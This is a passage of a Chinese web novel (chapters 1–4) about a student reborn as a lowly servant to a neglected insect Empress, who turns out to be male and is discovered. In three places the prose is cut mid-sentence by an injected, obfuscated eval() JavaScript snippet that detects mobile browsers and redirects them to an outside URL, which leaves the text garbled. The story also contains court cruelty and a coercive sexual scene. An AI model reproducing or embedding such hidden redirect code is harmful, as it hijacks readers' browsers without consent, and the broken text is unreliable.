《虫族铁血瑰宝怀了我的崽》 1. 第 1 章 温特瑞亚帝国帝后的寝宫里,长着透明羽翼的亚雌跪了一地,因为帝后泽费里诺又一个易感期到来,虫皇还是吝啬施舍信息素给他,总是忙得不见踪影。 最年长的亚雌侍从端来摆得整齐的抑制剂,声音都在发抖:“帝后,打一针吧,您扛不过去的。” 那在床幔里来回翻滚挣扎的黑发男人,好听悦耳的低沉声如同清泉潺潺绕过耳畔,他让人再去请虫皇陛下,不肯打那一针又一针的抑制剂。 “米安,再去请塞塔斯,我一定要等到他。” 塞塔斯就是温特瑞亚帝国的雄虫虫皇,长相绝美,人形高达一米九,引得无数雌虫折腰,他原是不受宠的五皇子,可因为泽费里诺喜爱他,才得以在一众皇子中脱颖而出,被帝后强大的家族扶正,当了虫皇。 塞塔斯允诺帝后的家族,上位后会给他母仪帝国的名分,就为报答帝后家族的扶持之恩,这位虫皇陛下上位后确实实现了自己的承诺,只可惜将这位帝国的玫瑰娇藏在身边两年了,未曾宠幸于他。 虫皇身边的所有虫都知道他有了新欢,是新上任的帝国元帅,和泽费里诺还有点亲戚关系,据说是比帝后更强的高等雌虫,和虫皇私下接触甚密。 只有帝后被蒙在鼓里,没有虫敢在他面前说这件事,会引起帝国纷乱,大家都三缄其口,假装什么都不知道。 芬恩穿到这里一星期了,一星期前他还是个纯洁善良的大学生,眼神里都透漏着清澈,一睁眼就被几个长着翅膀的人——具体来说也不像人,有的长着虫子才有的口器,对他拳打脚踢,嫌他干活太慢,还偷懒装死。 他以为在做梦,可疼痛却是实实在在的,被打了一顿后,芬恩站起来反抗,差点折断了两个家伙的翅膀才消停了。 原主的记忆慢慢地涌上来,他才知道发生了什么,他一个地球人,穿到了不知道什么时候的星际,成为了虫族帝国最低等的亚雌。 在这个星际世界有人类,但人类和虫族处于敌对,各有各的疆土和领域要守,就像地球时代的各个国家有各自的制度一样。 虫族和人族一般井水不犯河水,各自统治自己的疆域,而芬恩很不幸,穿到了虫族,还是最低等的虫。 没错,虫族也分三六九等,最高级的虫为拟人态完全的雌雄虫,就像虫皇和帝后,他们已经完全能在虫形和人形之间转换。 中等虫是拟人态和虫形不能随意转换的,地位也比较高。 最低等的就是亚雌和亚雄,发育不完整,不仅还留有虫的特征,在外观上也没有高等虫好看。 芬恩又很不幸地成为了长相一般,还带着翅膀和口器的亚雌。 更更更不幸的是,他在全帝国最漂亮但脾气最差的帝后这里当差,为什么他会成为帝后近侍,全是因为没人想近距离伺候暴脾气还处于易感期的帝后。 是的,芬恩这几天算是体验到了什么是伴君如伴虎,一个亚雌侍从因为营养剂给的晚了,就被帝后吩咐掌掴十几巴掌,脸都打肿了。 芬恩就是执行巴掌的侍从,他的手掌也在隐隐作痛,但更让他恐惧的是帝后这个人。 听闻帝后没和虫皇结婚前,是一等大将军,战无不胜,哥哥是雄虫,大元帅,掌管帝国大部分兵马,驻守在外,听调不听宣,这才是帝后最牛逼的靠山。 虫皇靠着帝后的家族上位后,只得和帝后结婚来安抚这个家族,但条件就是让帝后解甲归家,不准再上阵杀敌。 泽费里诺喜欢塞塔斯,便应允了这个条件,交了兵符,虫皇将这朵帝国的铁血玫瑰娇藏在后宫就不管了,却总是以帝国国事过多为由,两年不曾碰过帝后。 皇宫之内负责侍奉的全是亚雌和亚雄,除了有头衔的高等虫,帝后几乎很难接触虫皇以外的雄虫。 芬恩是不懂这里面的弯弯道道,他只是一个穿成亚雌的地球人,不明白雌虫为什么也是男人形态。 是男人也罢了,一张脸长那么漂亮,帝后的拟人形态是他最喜欢的黑发黑眼瞳,让他有种见到家人的感觉,莫名想和他亲近。 要知道在这样的一个远离人族的星际世界,颜色各异的怪东西见多了,就知道这黑发黑眼的帝后有多养眼了,芬恩对帝后的欣赏全部来自他的外观。 内里就算了,这帝后脾气阴晴不定,动不动就摔东西发脾气,大概是性压抑太久,无法释放导致。 现在更是可怕,他跪在床边,隔着一层白色的纱幔,就能看到帝后那手臂上因易感期而暴起的青筋,他的手指很长,无名指长过食指,抓着身下的被褥,快要扭曲成一团。 芬恩其实也很好奇雄虫怎么标记雌虫,他这个亚雌原主的记忆都停在理论上,无法让他对此深入了解。 首先说明他是个直男,他对这些事情好奇纯属想知道两个男人形态的拟人虫,到底怎么样才能做下去。 那不纯纯地球时代的同性恋吗? 虽说他是个亚雌,也就是没发育完全的雌虫,但他以后找老婆一定找个女人形态的,男人他不太行。 还有啊,虫皇不肯宠幸这么漂亮的帝后,是不是也因为虫皇其实是个异性恋? 想到这里,芬恩有点想笑,但很快他的笑就被一声突如其来的呼唤打断了。 “洛菲斯。” 他身体没来由地打了个冷颤,帝后在叫他,洛菲斯是原主的名字。 芬恩缓缓地抬起身子,跪着身子爬到了帝后偌大的床沿,他俩之间被一层纱幔阻隔,不过他的余光还是瞥见了帝后像水莲花一样散在床上的黑发。 那平时白的近乎透明的皮肤,此刻俨然期是被易感期折磨得像在沸水中滚熟的虾,作为亚雌的芬恩,是不懂易感期的痛苦。 不过能让一个铁血高等雌虫都招架不住的易感期,那必然不是芬恩能想象的。 他规矩地跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521293|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床沿:“小的在,帝后,您说。” 帝后修长的手指扒在了床沿,这下芬恩的视线更直观地看到他漂亮的手,也是在心里感慨,好标准的漫画手。 地球女人都喜欢这种,不过他作为男人,也可以带着欣赏的心情去打量。 骨节分明、指尖泛粉、指甲粉嫩近乎透明……月牙很标准,啧,绝了。 就在他感慨时,门外响起了亚雌的声音:“虫皇到——” 芬恩赶紧往后退了一段距离,所谓的虫皇匆匆忙忙而来,进来先拿起的却是旁边年长亚雌准备好的抑制剂,那针管比给地球牲畜打针用的还粗。 芬恩心惊胆寒,只觉得这虫皇漂亮绝美的外表下,藏着不为人知的狠戾和野心。 一头银发瀑布一般、蓝眼睛的雄虫虫皇,神色担忧地装好了十几支抑制剂,将黑发男人抱起来,语气担忧:“帝后,乖一点,我公务繁忙,不要让我分心。” 帝后被折磨得翅膀都收不住,刚才还没有,这会儿那羽翼像凤尾蝶一样散开,芬恩在心里“我草”了。 好他妈夸张的一对翅膀,好像要占据整张床,那颜色和帝后的头发一样,有一种五彩斑斓的黑。 这是雌虫求偶的特征,只可惜,赛特斯一针抑制剂从他腺体上打下去,那对展开的翅膀开始慢慢聚拢。 芬恩有一瞬间看到了虫皇眼中的狠戾,他为之恍惚,看来近来虫皇的传闻是真的,他真打算一辈子把帝后囚到死。 芬恩一阵冷颤,与此同时,被打了过量抑制剂的帝后,那双手也紧紧地抓住虫皇的胳膊,眼神从欣喜慢慢地沉寂下去。 但他没有第一时间发火,也没有揭穿,只是朝着塞塔斯笑了笑:“这点小事麻烦您过来,陛下不要责怪我才好。” 塞塔斯象征性地抱了抱他:“帝后辛苦,等我不忙了,帝国安定了,咱俩就考虑要一个孩子。” 泽费里诺本来挺生气,可是在发现什么之后,他的情绪反而冷静了下来,并且从虫皇的怀抱中挣脱,自己坐好,身后的黑色大翅膀也在逐渐消失:“谢谢陛下,我没事了,您可以回去继续忙。” 虫皇塞塔斯见他冷静下来,才起身呵斥一地的亚雌:“连给帝后打个抑制剂都得我过来才行,养着你们这群饭桶干什么?下次要是还有这种事发生,你们就不用再在帝后寝宫当差!” 一地的亚雌战战兢兢,求虫皇饶命,芬恩也匍匐在地,他在疑惑帝后的态度,平时一直都在期待虫皇来看他的雌虫,如今却能冷静地让虫皇去忙公务。 虫皇还真走了,没有多余的话,也没有多余的关心,芬恩一抬眼,便见床幔后的帝后伸手抹了抹眼角,并且唤他一声:“洛菲斯,你进来。” 芬恩心里一颤,不知道叫他进去有何事,虽然他是个亚雌,但他有一颗直男的心。 帝后想对他做什么?芬恩脑补了一百种被蹂啊躏的场面…… 2. 第 2 章 一向脾气不好的帝后没有对他怎么样,甚至没有对他发脾气,只是让芬恩把他的床褥整理一下,他穿着一身白色的丝绸底衣下了床。 这会儿是傍晚,帝国中心星球的模拟太阳的发热器正在西斜,照出的鎏金不比地球上的差,芬恩把他的被褥收拾整齐,将落满帝后汗水的床单扯下来,准备拿去洗。 见帝后没事了,年长的亚雌带着所有的侍从从他的寝宫退出去,帝后站在门口走廊里,也不知道在想什么,他一言不发。 亚雌侍从们没事不敢靠近帝后,能躲多远就躲多远,芬恩为了躲开那群亚雌的仗势欺人,便答应侍奉在帝后寝宫内,他的房间在帝后寝殿的侧边,一个不大的房间,一张单人床,一个衣柜就占据了所有。 他把帝后的床单拿去洗,低着头从帝后身边路过,那双墨色的绝美眸光朝他望过来,却带了几分悲凉:“洛菲斯,你觉得我怎么样?” 芬恩被吓到,能不能不要一上来就问这种送命题,他连哄女人开心都不会,又怎么会哄男人? 芬恩抱着床单,鼻息间都是泽费里诺这个高级雌虫的信息素气味,是一种花香,具体是什么花,芬恩也说不明白,总之就是很香,他总觉得闻着这股味道有一种奇怪的感觉,这种感觉来自腹下,顺着某个位置,穿到他的尾椎骨,他好像有什么东西要长出来。 雌虫的信息素对雄虫的勾引是致命的,虫皇为何对帝后的信息素没感觉,那只能说明虫皇已经被更有吸引力的信息素勾引过了。 想到这里,芬恩心里一紧,或许帝后也想到了这个结果,所以才心如死灰? 真是好惨一雌虫,美强惨…… 芬恩酝酿了半天才想出安慰的话语:“帝后冰清玉洁,痴情专一,是虫族皇室的福气。” 听到这里,帝后艳丽的薄唇微微勾了起来,却是冷笑:“可是专一有什么用,我和虫皇青梅竹马,我从小就想拥护他当虫皇,为此我努力了很多年,终于能和他并肩站在一起,我说服我的家族,助他登上皇位,统领帝国,他也如愿给我了一个空名分,我承诺一辈子都不会再上战场,他才能安心。” 芬恩不知道该说些什么,只能低着头静静地听着,这个一直在神坛的雌虫,在所有虫族眼中,是不可触碰的瑰宝,却被虫皇不当回事,芬恩都觉得离谱。 也或许是因为在一起时间太长,早已磨灭了激情,所以虫皇移情别恋,将他禁锢在后宫。 他平时傲气的悦耳声音,此刻也只剩下无力:“在刚才之前,我还对他抱有希望,我想着他这一次无论如何,哪怕临时标记也会给我一点,可他并没有,他将大量抑制剂打入我的腺体,我的腺体一时间差点被毁,如果不是我精神力强大,这一次绝对是我这辈子最后打抑制剂。” 芬恩:“……”原来他平静的外表下,是对刚才虫皇的行为充满了失望。 帝后的声音轻轻的,黑色长发被风轻轻吹过,拂在芬恩的胸口:“一个雌虫,如果腺体被毁,就意味着一辈子失去生育的资格,而我的家族却还在指望我怀上塞塔斯的子嗣,我一直认为我和他之间是有爱情的,今天才知道,他把我娶回来,不过是为了制衡我的家族。” 芬恩一个地球人,不懂这些,但还是宽慰他:“兴许是您想错了也不一定。” 泽费里诺摇头:“我没有想错,两年了,他不肯给我一个孩子,就是怕以后我的家族势力再次扩展,他的皇位坐不稳,原来啊,他最爱的是那个位置,而不是我。” 芬恩嘴笨,不知道说什么,便继续沉默着。 泽费里诺半天后才叹口气:“你去吧,跟你这个亚雌说这些有什么用。” 确实,跟他说什么他都不懂,他只是想当个普通的亚雌,到了一定的年纪,被放出宫去,成家立业,找个和自己差不多的拟女性特征的雌虫结婚生子,胸无大志。 当然,目前他最重要的任务就是在这个满是欺凌的虫族皇宫活下去。 他宁愿伺候脾气不好的帝后,也不愿意和那些仗势欺人的亚雌为伍。 他洗完帝后的床单天色已黑,厨房的亚雌又没给他留饭菜,他的营养剂也没有了,只能饿肚子。 回到帝后的寝宫,将大门关好,把寝宫内收拾好,帝后正在床幔后闭目养神,声控机器人灯还在他的床边,芬恩让机器人把灯关了,雌君要入睡。 他饿着肚子往自己的房间走,忽而帝后叫住了他:“洛菲斯,你过来。” 芬恩只得走过去,又将机器人唤醒,灯光亮起来,他看到床幔后的帝后似要羽化:“帝后,怎么了?” 泽费里诺从床上坐起来,看起来是又不舒服,芬恩心想,前不久打了那么多抑制剂,差点连腺体都毁了,这会儿应该不会再发情? 可那双漂亮的手将床幔一掀,馥郁刺鼻的信息素气味不断灌入芬恩的鼻腔,他作为亚雌该是对雌虫的信息素没有感应的,只能闻得到味道,却不会有身体上的变化。 可不知道为什么,经过今天的熏陶,他总觉得自己体内有什么被催化,尾椎骨更是在轻微发疼,什么东西要从尾椎处长出来。 芬恩倒吸一口凉气,往后退了两步:“您、您又不舒服?小的给您去准备抑制剂?” 泽费里诺坐在床沿,一双墨色的瞳孔紧紧地盯着他:“我总觉得你最近两天变得过于貌美,和其他亚雌不一样,你的头发是雄虫才有的白色,你的眼睛是漂亮的湖泊蓝,比虫皇的还要艳丽几分,可你是亚雌。” 芬恩咽了咽唾沫:“是的,正因为如此,他们都欺负我,觉得我和亚雌不一样,但我实实在在是亚雌,帝后。” 泽费里诺定定地瞧着他,让他靠近点,芬恩只得走过去,将一张脸曝光在机器人的光下。 泽费里诺,帝国的这朵铁血玫瑰,用那双漂亮的手指捏住他的下巴,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521294|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬头,在冷色的光线下,欣赏着一只亚雌的美貌。 他看了一会儿摇头,好似在喃喃自语:“这不该是亚雌的长相,我记得你的父母是商人,没有一个是亚雌,怎会生出你一个亚雌来?” 芬恩感觉他捏着自己下巴的手指格外烫,薄唇微微抖动几下,解释道:“我发育不完全,父母觉得我以后也没什么出息,才将我送进宫来当差,我是亚雌,帝后若是不信,可以检查,我和帝后在生理结构上是一样的。” 周围都是帝后的信息素,芬恩觉得这些信息素像长了眼睛,不断钻入他的皮肤和毛孔,催促着他的血液循环,这种感觉挺诡异,他第一次经历,也不知道意味着什么。 不管是雄虫还是亚雄,成年后都会有尾勾,这是用于配偶的部位,眼前那个亚雌没有,泽费里诺便信了他的话,放开他的下巴,让他休息去。 芬恩感觉自己的下巴都差点被那双漂亮的手捏碎,临走时还不忘担心他:“帝后您需要抑制剂吗?” 帝后终于开始发脾气:“抑制剂抑制剂,我差点毁在抑制剂手中,我死也不打抑制剂了,滚啊!” 芬恩战战兢兢地从他的寝宫退出去,将门关好,回了自己的房间,心脏还在突突跳个不听,尾椎骨更是奇痛难忍,他不知道自己怎么了,好像有一种被蚂蚁啃噬的恐惧,这些蚂蚁顺着他的血液,爬遍他的全身。 好恐怖的感觉,他想抓痒,也不知道该往哪里抓。 这种痛苦折磨了他半夜,但他不敢吭声,怕被人听到。 直到后半夜,他在剧痛中醒来,感觉长了尾巴一样,他在黑暗中用手摸了摸,确实摸到了不属于他的东西。 一条粗壮的尾巴? 不对,是尾勾。 芬恩惊了,在原主受到的性别教育里,只有雄虫和亚雄才会长尾勾,这是虫族用来配偶的部位,为什么会长在他一个亚雌身上? 还是说,他其实是亚雄,不是亚雌? 可是让他诡异的是,随着尾勾的生长,他的口器和翅膀在慢慢蜕化,他集中精力将口器和翅膀变了回来,那条尾勾也不蜕化。 芬恩在黑暗里一手摸着自己背上薄如蝉翼的翅膀,一手摸着自己口中的口器,惊了一身冷汗,他又试图放出自己的尾勾,结果尾勾粗壮不已,他三魂都被吓飞了! 帝后的寝宫里是不允许有雄虫存在的,哪怕亚雄也不行,发现就会被处死,所以这里的所有的侍从都是亚雌! 芬恩又慌又怕,他怎么发育成雄虫了?还不是亚雄,倒像是低等雄虫? 不对,这不对啊,这要是被帝后发现,他不知道会怎么死! 可是他进宫才两年,要当够五年的差才能被放出宫,那他发育成雄虫,不就等于在这里等死吗? 怎么办怎么办……芬恩,冷静下来,好好想想怎么逃离这吃虫的牢笼!绝不能被虫发现你长了雄虫才有的尾勾! 3. 第 3 章 让芬恩庆幸的是,他并不是高等雄虫,也就意味着他的拟人态还会保留某种虫形特征,比如他薄如蝉翼的翅膀和虫子的口器不会因为尾勾的发育而消失。 当然了,要是高等雄虫就更好了,这样他就可以凭借高级雄虫的身份傍上富婆,走上虫生巅峰。 不过那种好事也只能想一想,他能苟且到出宫自由就不错了。 要知道,这个世界雄少雌多,雌虫力量更强大,很多高级雌虫会豢养雄虫,哪怕是低等的,也会用来当抚慰品。 毕竟雌虫没有尾勾,无法进行交那个尾,只能雄虫来。 亚雄没有生育能力,但低等雄虫的生育力低下,是当抚慰品的料子。 芬恩并不觉得发育成低等雄虫有多好,这意味着身份被发现后,他会死无葬身之地。 他只要藏好自己的尾勾就好了,真是离了大谱,好好的亚雌在伺候帝后的过程中,慢慢地发育成了雄虫,要是知道他一个雄虫在帝后宫中当差,不仅帝后的名誉要受损,他也活不了多长时间,他的家族更是别想安稳。 芬恩决定藏好尾勾,好在拟人态的雄虫,尾勾不会有多夸张,衣服是能遮住的,他把尾勾顺着尾椎骨,在腰上盘了一圈,当皮带使了。 尾勾和各种特征不蜕化的状态,也充分说明了他的等级有多低,高等雄虫都可以用精神力隐藏自己的尾勾,完全拟人化。 芬恩这个菜虫,连最基本的拟人都不行,还保留着虫形特征,他都不明白帝后是从哪里看出来他长得不错的? 一晚上没睡好,第二天还要起早伺候帝后,洗漱的间歇,他终于忍不住看了镜子,发现自己的皮肤比前几天要白,本来呈现浅淡蓝的眼眸,颜色也稍微加深,和帝后说的湖泊蓝差不多,皮肤状态更是吹弹可破。 只要不张嘴,看不到他拟虫的口器,这张脸确实能让人过目不忘,芬恩觉得这不行,会招惹祸事。 于是他把头发弄得乱乱的,平时会仔细梳理头发,一剪刀直接剪短前面的长发,遮住了一只眼,狗啃的一样。 这样就好点了,他不明白,雄虫的发育会伴随容貌的改变,按道理来说,雄虫不是应该越发育越健壮,为什么他越发育越像个男狐狸精? 这个星际虫族世界是和人类反着来的吗? 不对,最早的人类,也是雄性负责美貌,就像很多动物都一直延续着这一特征,雄性比雌性更漂亮。 看来是返璞归真了,但芬恩觉得真不是什么好事。 被折磨了一夜的帝后,竟然能忍住易感期的折磨,芬恩端着特质的金色脸盆打了水供到帝后床边,恭敬跪下:“帝后,该洗漱用早膳了。” 一双纤长漂亮的手先从白色的床幔中伸出,芬恩很识相地伸手搀扶,去扶他起床,只不过比帝后更先到的是那馥郁花香味的信息素,芬恩不适地蹙了蹙鼻子。 他怀疑就是帝后这信息素促进了他的发育,原本他是被诊断为亚雌的,本该对雌虫的信息素没感觉。 从他感觉浑身发痒犹如蚂蚁啃噬就不对劲了,当晚还真发育成了雄虫,雄虫哪怕多低等,对雌虫的信息素感应都很强烈。 他感觉自己盘在腰上的东西,有什么要在顶头呼之欲出,正蠢蠢欲动地试探。 芬恩深吸一口气,把帝后扶起来,再用纯棉质的手帕浸水,拧干,擦拭他的手,胳膊……他同样修长的手指掠过帝后白皙的皮肤,看到胸前一道狰狞的疤痕,那是他作为帝国大将军时的勋章。 芬恩只想快速伺候他洗漱完逃离这里,他得想个办法把伺候帝后起居的事情推脱出去,他是亚雌时,帝后怎么刁难他都没事,他愿意在这里当差。 可现在不行了,帝后的信息素无孔不入,虫族雌性的易感期相当长,得不到雄虫的信息素,有的能长达三个月。 越是强壮的雌虫,易感期越是强烈,就像帝后这种的,一阵抑制剂可能也就管几个小时,若不是他已和虫皇成婚,芬恩都想建议他找雄虫当男宠。 反正那个狗虫皇又不在乎他,但芬恩也知道,帝后身上系的不是他一个人的命运,而是整个家族,他要是有点什么风吹草动,家族绝对受牵连。 这也是泽费里诺忍耐的原因,即使知道虫皇要毁了他,他也得忍气吞声,毕竟他已经把一半的兵力交到了虫皇手上,如果这个陛下对他的家族动手,那事态会很严重。 芬恩有点同情他,不过他这个小小雄虫目前只想活下来,给帝后擦洗完手脚,他闭着眼睛,芬恩又擦过他剑眉星目的眉眼,他在心里感慨,一个虫子拟人态,怎么能帅成这个样子。 不,准确来说,已经不能用帅形容,而是美…… 不可方物。 泽费里诺感觉到他的呼吸有些紧促,微微抬眼看他的神色:“洛菲斯,你很紧张?” 这个亚雌好像比昨天更好看了,虽然那右边狗啃的刘海挡住了半只湖泊似的眼,泽费里诺还是感觉到了他的不寻常。 一把抓住亚雌的手腕,泽费里诺眼里似有火焰在燃烧:“为什么,只是过了一晚,你的容貌又变了?” 芬恩胆战心惊,假装听不懂他在说什么:“帝后,您冷静点,小的一直都是这个样子,没有什么变化,兴许是您被易感期折磨狠了……” 泽费里诺半信半疑地放开了他的手腕,却发现之前他怎么抓都不会有事的手腕,今天一碰就红,高级雌虫眼中的意味变得莫测。 只有雄虫才会这么敏,雌虫力量强大,哪怕亚雌也不会因为这个动作而皮肤泛红。 只有雄虫……并且不是亚雄。 亚雄的尾勾发育不完全,反映在外表上就是皮肤显得粗糙,面相没那么细腻。 可是这个亚雌最近两天皮肤越发吹弹,细腻过分,泽费里诺初步断定这个亚雌对自己的信息素有感应。 不对,只有雄虫对信息素有感应,雌虫不会。 当了这么多年雌虫,领兵打仗好几年,他怎么可能没见过没发育完全的雄虫长什么样? 带兵打仗时,随军的雄虫都是低等雄虫,一来低等雄虫生育力低下,避免雌虫战士怀孕,二来可以安抚雌虫的精神力,也可以当抚慰品。 他泽费里诺不是被豢养在后宫的傻白甜,没有什么能瞒得过他,这个亚雌,不,这个低等雄虫起初确实是被当成亚雌送进来的,是因为一头银发被他选中,让人带了来。 雌虫有银发的,但很少,泽费里诺喜欢银发,因为虫皇塞塔斯的头发是银色的,加上这个亚雌眼睛也带点蓝,他就更喜欢了,便让随身伺候。 想来他进宫也是家族深思熟虑过的,亚雌在社会上的地位也不怎么高,一个家族出了亚雌,也就低人一等,讨个亚雄当伴侣都算高攀,可是在皇宫侍奉过就不一样了。 侍奉过虫皇和帝后,那地位就高虫一等,也就可以选低等雄虫或者高等雄虫当伴侣。 这也是为什么那么多亚雌选择进宫侍奉的原因,洛菲斯也是被家人送来“镶金边”的。 泽费里诺看了看侍从那张故意扮丑的脸,指尖不经意地从他唇边划过:“可以了,用膳吧。” 芬恩终于松了一口气:“是,帝后。” 早膳是各种各样各种口味的营养剂,这个时代,浓缩的营养剂已经代替了饮食,方便运送也方便携带,饿了就喝一支,营养齐全,饱腹感满满。 芬恩饿了一天,闻到味道更饿了,可他的营养剂已经用完,过几天才发下半个月的营养剂。 站在帝后身边,打开草莓味的营养剂,芬恩的肚子在咕咕乱叫。 帝后听到了,将他刚打开的一瓶赏赐给他:“我不想吃这个口味,要吃玫瑰香的。” 芬恩啊了一声:“那这一支已经打开了。” 泽费里诺沉声道:“你想办法解决了吧,不要浪费,我不喜欢浪费食物。” 芬恩紧握着那瓶营养剂,有种莫名的感动,帝后是故意给他吃的。 谁说帝后很坏,他是芬恩目前见过最好的虫! 他犹豫了片刻,不知道该不该喝下去,帝后不耐烦地催促:“洛菲斯,我要吃玫瑰味的。” 芬恩只得快速将那瓶营养剂喝下,只觉得一股奇特的力量通过细胞透过皮肤,原本干瘪的细胞,被力量充沛。 他赶紧跑过去把玫瑰味的营养剂给帝后打开,看着帝后慢条斯理地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521295|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝下去,红色的液体有一丁点顺着唇角落下,芬恩看着拟人雌虫滚动的清晰喉结,咽了咽唾沫。 他意识到自己对泽费里诺咽口水后,心里简直震惊。 芬恩,你怕不是疯了,你对一个长着人类男人器官的虫子发什么情? 是的,完全拟人态的虫子们都有人类的器官,芬恩也有,只不过不是用来繁育,是用来排泄,真正用来繁育的器具是尾勾。 也就是他昨天长出来的那个…… 寝殿内的信息素浓度少了一点,芬恩没那么难受,伺候帝后用膳完毕,又跟他去后花园散心。 芬恩趁着收拾餐厅的空余,试图让亚雌侍从总管米安换个人伺候帝后,他说自己最近身体不好。 米安冷冷地看了他一眼,总觉得哪里不对:“能伺候帝后是你的福气,以后出了宫,雄虫都得高看你一眼,你有什么不满意的?” 芬恩赔着笑脸:“米安哥哥说的是,这是我的荣幸,可我生病了,有点咳嗽,帝后又处于易感期,要是有点什么不好的东西进入他的腺体,那会很麻烦。” 米安想了想,确实会出事:“那行吧,你和安亚妮换一下岗,你在殿外伺候,晚上不用陪在帝后寝宫内。” 芬恩舒了口气:“好,谢谢哥哥,下次发的营养剂我会孝敬您。” 米安这才挥动着翅膀走了:“怪不得帝后喜欢你伺候在身边,确实很会来事儿,等你病好了,你再和安亚妮换过来。” 芬恩心想,要是能躲过帝后的易感期就好了,不然他总是被雌虫的信息素折磨。 哪怕他多直,穿成了这样一个世界的低等雄虫,在结构上还是抵抗不了。 他和殿外侍奉的亚雌安亚妮换岗了,晚膳的时候,帝后大发雷霆,将一桌子的营养剂掀翻在了餐厅,怒骂侍从,洛菲斯去哪里了? 一群亚雌被吓得不敢说话,跪了一地,生怕又被帝后折磨,芬恩正准备去厨房吃点比较麻烦的料理,米安急匆匆跑来喊他! “洛菲斯!快点,帝后又发脾气,找你!” 芬恩真服了,问他,帝后因为什么发脾气,米安也不知道。 他只得去看情况,帝后正对一个亚雌发脾气,看到他来了,眼神更是阴婺。 芬恩被他看得头皮发麻,小心翼翼地走过去,将地上的营养剂捡起来:“您怎么了?” 泽费里诺唇角勾起一抹冷笑,让所有亚雌退下:“我的寝宫,以后只准洛菲斯一个人进,谁敢违抗,死路一条。” 亚雌侍从们大气不敢出,不知道帝后为什么如此,这个洛菲斯到底有什么能耐,竟然能让帝国的铁血玫瑰只依赖他。 芬恩有种不好的预感,伺候帝后用完膳,他只得和安亚妮又把岗位换回来。 可是让芬恩震惊的是,帝后也不肯让亚雌在殿外侍奉,全部打发了,只留下他一个。 芬恩的心悬在嗓子眼,在帝后没就寝前,他是一刻也无法松懈,终于熬到了天黑。 殿内亮如白昼,他站在床沿,透过纱幔看到了帝后那在背上长出的黑色翅膀,夸张地简直就像道具。 黑发散乱地落在他的背上,他伸长手臂,侧身掀起帷幔,一双沉墨一样锐利的眼睛,望向床头站着的人。 “洛菲斯,上来。” 芬恩被吓得不敢动。 “您该休息了。” 泽费里诺的低沉的嗓音带了怒气:“违抗命令?你有几条命?” 芬恩腿肚子开始发抖:“帝后,您万金之躯,小的只不过是个亚雌,会玷污您……” 泽费里诺冷笑一声,没给芬恩考虑的机会,一伸手,强大的精神力支配,芬恩被他隔空抓到了床上。 芬恩还没反应过来,衣服已经被撕碎,缠在腰上的尾勾被人一把捏在了手里。 那绝美雌虫欺身而上,压在他身上,身后的翅膀都像在欢呼,温热的气息落在芬恩的唇上,芬恩两眼瞪得老大。 泽费里诺修长的手指拂过他尾勾的顶端,抹去透明的水渍,眼神似鹰隼盯着猎物,看着他的脸:“哦,原来是雄虫啊,这么藏着尾勾不累吗?真可怜,都吐口水了,馋我的身子了?” 4. 第 4 章 作为雄虫,哪怕是最低等的亚雄都无法忽视强大雌虫的信息素,何况他一个尾勾发育完全的低等雄虫,那这雌虫的信息素对他而言就是致命的。 饶是芬恩自诩钢铁直男,也是面对一个男人外形的雌虫有了某种不可言说的冲动,表现在身体上就是他的尾勾控制不住地想要和强大的黑发雌虫贴贴,但他知道这不可以! 他努力控制着自己的生理状态,银色长发落在帝后那双漂亮的手心里,连着尾勾一起被抓着,芬恩手背和脖颈上的青筋映着雪白的皮肤格外刺眼,他哑着嗓子跟泽费里诺求饶:“对不起帝后,小的也不知道怎么回事,我进宫前明明被测定为亚雌,可昨天跟易感期的您待了一天后,就长出了这个东西……” 泽费里诺当然知道没人敢在侍从身上动手脚,除非是不想活了,何况是伺候他这个精神力强大的雌虫,有雄虫肯定第一时间就发现了。 这个小东西就是被家人当成亚雌送进来的,检测也没有出问题,是因为强大雌虫的精神力和信息素催促他发育分化,才长出了尾勾。 低等雄虫对于皇室的威胁并不大,但架不住他们虫族雄虫少啊,哪怕最低等的雄虫,也是可遇不可求。 这全是因为二十多年前帝国为了生出战争机器,把多数雄虫送去孝敬虫母了,那些雄虫就成为了虫母的供应机器,一辈子再也无法离开虫母。 这才导致外界的雄虫变得稀少,泽费里诺以前对雄虫无感,因为他心仪的雄虫是帝国最俊美的五皇子,所以他也没心思找雄虫,哪怕打仗那几年,他的抑制环从未离开过脖颈。 现在之所以不用抑制环,也是自暴自弃了,塞塔斯根本对他无情,那些年表现出来的温情也只是为了帝国的王位。 其实第一年他易感期去找塞塔斯被拒绝标记后,他就该知道这个虫皇的心思,只是不甘心,才欺骗自己,虫皇对自己有情,可白天的那一针管子抑制剂,让他彻底对这个虫皇失望。 